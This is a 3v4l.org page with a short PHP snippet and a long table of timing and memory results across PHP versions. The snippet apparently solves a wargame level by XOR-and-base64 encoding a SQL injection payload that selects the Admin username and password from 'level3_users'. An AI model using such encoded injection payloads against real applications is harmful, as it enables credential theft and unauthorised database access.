3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("' UNION SELECT 1,username,3,4,5,password,7 FROM level3_users WHERE username='Admin' --") ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0140.00718.56
8.3.60.0060.00917.09
8.3.50.0100.00822.08
8.3.40.0100.00719.14
8.3.30.0070.00719.17
8.3.20.0080.00020.29
8.3.10.0030.00521.96
8.3.00.0060.00319.63
8.2.190.0090.00918.79
8.2.180.0070.00716.75
8.2.170.0030.01222.96
8.2.160.0150.00020.35
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0080.00026.16
8.2.120.0030.00619.49
8.2.110.0060.00322.15
8.2.100.0090.00318.16
8.2.90.0040.00417.88
8.2.80.0100.00017.97
8.2.70.0030.00517.93
8.2.60.0000.00818.05
8.2.50.0000.00818.10
8.2.40.0040.00420.57
8.2.30.0000.00718.06
8.2.20.0000.00817.99
8.2.10.0040.00418.09
8.2.00.0050.00317.92
8.1.280.0080.00825.92
8.1.270.0080.00019.14
8.1.260.0050.00326.35
8.1.250.0000.00728.09
8.1.240.0060.00322.38
8.1.230.0040.00719.12
8.1.220.0040.00417.74
8.1.210.0080.00018.77
8.1.200.0000.00917.60
8.1.190.0030.00517.47
8.1.180.0040.00418.10
8.1.170.0050.00318.78
8.1.160.0030.00722.12
8.1.150.0040.00419.06
8.1.140.0040.00417.68
8.1.130.0000.00717.93
8.1.120.0030.00417.53
8.1.110.0050.00217.63
8.1.100.0080.00017.65
8.1.90.0000.00717.64
8.1.80.0000.00717.63
8.1.70.0080.00017.55
8.1.60.0050.00317.66
8.1.50.0040.00417.69
8.1.40.0050.00317.71
8.1.30.0030.00617.89
8.1.20.0000.00817.71
8.1.10.0040.00417.62
8.1.00.0000.00817.70
8.0.300.0060.00319.85
8.0.290.0090.00016.88
8.0.280.0000.00718.51
8.0.270.0000.00717.23
8.0.260.0000.00717.33
8.0.250.0030.00317.04
8.0.240.0050.00217.19
8.0.230.0030.00317.13
8.0.220.0070.00016.95
8.0.210.0000.00716.99
8.0.200.0000.00616.97
8.0.190.0000.00817.14
8.0.180.0040.00417.13
8.0.170.0030.00617.09
8.0.160.0070.00016.99
8.0.150.0040.00416.91
8.0.140.0040.00417.08
8.0.130.0030.00313.52
8.0.120.0030.00516.93
8.0.110.0000.00817.00
8.0.100.0000.00717.11
8.0.90.0040.00417.11
8.0.80.0040.01417.11
8.0.70.0030.00617.15
8.0.60.0040.00416.99
8.0.50.0040.00417.05
8.0.30.0070.01317.39
8.0.20.0130.01017.40
8.0.10.0040.00417.07
8.0.00.0120.00817.12
7.4.330.0020.00215.14
7.4.320.0030.00316.63
7.4.300.0000.00616.86
7.4.290.0040.00416.74
7.4.280.0000.00716.84
7.4.270.0000.00716.83
7.4.260.0080.00016.79
7.4.250.0030.00516.80
7.4.240.0040.00416.85
7.4.230.0070.00016.81
7.4.220.0090.00916.87
7.4.210.0070.01316.91
7.4.200.0000.00716.86
7.4.160.0130.00616.82
7.4.150.0130.01317.40
7.4.140.0100.01017.86
7.4.130.0070.01316.83
7.4.120.0110.00616.69
7.4.110.0110.01416.83
7.4.100.0110.00716.65
7.4.90.0100.00716.84
7.4.80.0170.00019.39
7.4.70.0000.01716.90
7.4.60.0070.01016.61
7.4.50.0030.00516.52
7.4.40.0130.00316.79
7.4.30.0100.01316.77
7.4.00.0030.01415.26
7.3.330.0030.00313.55
7.3.320.0140.00013.56
7.3.310.0070.00016.60
7.3.300.0070.00016.55
7.3.290.0100.00616.52
7.3.280.0090.00716.56
7.3.270.0030.01417.40
7.3.260.0100.01116.58
7.3.250.0100.00816.71
7.3.240.0110.01116.54
7.3.230.0100.01316.72
7.3.210.0070.01116.67
7.3.200.0080.00819.39
7.3.190.0080.00816.85
7.3.180.0090.00616.80
7.3.170.0120.00616.96
7.3.160.0060.01116.59
7.2.330.0040.01216.88
7.2.320.0060.01116.87
7.2.310.0060.01216.70
7.2.300.0120.00616.89
7.2.290.0090.01416.92
7.2.00.0030.01019.69
7.1.100.0000.01218.21
7.1.70.0030.01017.08
7.1.60.0110.01119.50
7.1.50.0070.01717.14
7.1.00.0070.07022.31
7.0.200.0030.00915.17
7.0.140.0030.03321.92
7.0.60.0100.08019.97
7.0.50.0070.07717.92
7.0.40.0100.08720.14
7.0.30.0400.06720.28
7.0.20.0170.04020.20
7.0.10.0430.05720.27
7.0.00.0130.07320.27
5.6.280.0000.07721.13
5.6.210.0070.07020.61
5.6.200.0130.07318.16
5.6.190.0130.08720.67
5.6.180.0230.04020.55
5.6.170.0270.05720.48
5.6.160.0030.04720.50
5.6.150.0200.06718.25
5.6.140.0100.07018.14
5.6.130.0000.04718.18
5.6.120.0070.04320.98
5.6.110.0000.08721.02
5.6.100.0200.06720.99
5.6.90.0100.04020.98
5.6.80.0130.07720.49
5.6.70.0130.03720.42
5.5.350.0130.03720.39
5.5.340.0200.07017.95
5.5.330.0030.05320.27
5.5.320.0070.07720.41
5.5.310.0270.05020.36
5.5.300.0030.04318.04
5.5.290.0130.07318.01
5.5.280.0100.08020.79
5.5.270.0100.08020.77
5.5.260.0130.08020.96
5.5.250.0130.07320.71
5.5.240.0070.03720.28
5.4.450.1100.08319.49
5.4.440.0930.07319.39
5.4.430.0100.05319.59
5.4.420.0700.06719.48
5.4.410.1000.06719.06
5.4.400.0270.05318.51
5.4.390.0200.05318.55
5.4.380.0270.06018.51
5.4.370.0170.07018.51
5.4.360.0430.05018.48
5.4.350.0300.05718.71
5.4.340.0230.05718.77
5.4.320.0300.06318.73
5.4.310.0230.06018.78
5.4.300.0300.05018.59
5.4.290.0200.05318.84
5.4.280.0230.06018.59
5.4.270.0230.06018.83
5.4.260.0300.05718.79
5.4.250.0370.07718.61
5.4.240.0370.06018.52
5.4.230.0230.05718.55
5.4.220.0200.06318.83
5.4.210.0200.06018.73
5.4.200.0400.06316.71
5.4.190.0300.05018.73
5.4.180.0200.06018.45
5.4.170.0230.05718.59
5.4.160.0330.07018.46
5.4.150.0370.06318.56
5.4.140.0200.07716.27
5.4.130.0300.05716.22
5.4.120.0200.05716.27
5.4.110.0270.04316.44
5.4.100.0230.04716.27
5.4.90.0300.04316.46
5.4.80.0230.04716.36
5.4.70.0230.05016.26
5.4.60.0200.05016.21
5.4.50.0200.05016.30
5.4.40.0270.05016.20
5.4.30.0330.04016.23
5.4.20.0230.05316.29
5.4.10.0400.04316.29
5.4.00.0270.06315.79
5.3.290.0270.04714.77
5.3.280.0130.05714.82
5.3.270.0130.06014.66
5.3.260.0300.10314.59
5.3.250.0170.05714.80
5.3.240.0130.06014.83
5.3.230.0200.05014.71
5.3.220.0170.06014.74
5.3.210.0270.05714.61
5.3.200.0270.06314.56
5.3.190.0270.05014.61
5.3.180.0200.05714.70
5.3.170.0170.05014.69
5.3.160.0130.05314.81
5.3.150.0230.04714.56
5.3.140.0230.05014.69
5.3.130.0270.04714.78
5.3.120.0200.05314.75
5.3.110.0100.06314.68
5.3.100.0330.03714.26
5.3.90.0230.05014.01
5.3.80.0230.05014.24
5.3.70.0330.04714.19
5.3.60.0230.05014.01
5.3.50.0200.05313.97
5.3.40.0330.04314.02
5.3.30.0200.05314.02
5.3.20.0230.05313.78
5.3.10.0230.05013.88
5.3.00.0230.05313.70
5.2.170.0270.03311.18
5.2.160.0130.04311.27
5.2.150.0130.04711.19
5.2.140.0170.04711.21
5.2.130.0130.04711.11
5.2.120.0200.03711.21
5.2.110.0200.04011.18
5.2.100.0200.03711.13
5.2.90.0070.05011.24
5.2.80.0230.03711.21
5.2.70.0170.05011.10
5.2.60.0200.04011.04
5.2.50.0230.04311.12
5.2.40.0130.04311.05
5.2.30.0130.05711.21
5.2.20.0170.04010.95
5.2.10.0130.04010.92
5.2.00.0200.03710.86
5.1.60.0100.06010.09
5.1.50.0270.03310.07
5.1.40.0130.0379.97
5.1.30.0130.04010.41
5.1.20.0170.04310.40
5.1.10.0200.03710.07
5.1.00.0170.03710.21
5.0.50.0130.0278.77
5.0.40.0030.0378.56
5.0.30.0200.0478.38
5.0.20.0070.0438.39
5.0.10.0230.0278.19
5.0.00.0130.0378.30
4.4.90.0070.0205.97
4.4.80.0030.0275.90
4.4.70.0030.0235.90
4.4.60.0130.0175.92
4.4.50.0070.0275.91
4.4.40.0100.0305.93
4.4.30.0070.0205.93
4.4.20.0100.0235.96
4.4.10.0070.0235.99
4.4.00.0030.0405.97
4.3.110.0100.0175.90
4.3.100.0070.0205.92
4.3.90.0170.0275.92
4.3.80.0100.0335.80
4.3.70.0070.0205.87
4.3.60.0130.0175.92
4.3.50.0070.0235.80
4.3.40.0130.0275.75
4.3.30.0070.0234.56
4.3.20.0030.0234.59
4.3.10.0100.0174.53
4.3.00.0170.0206.67

preferences:
56.76 ms | 401 KiB | 5 Q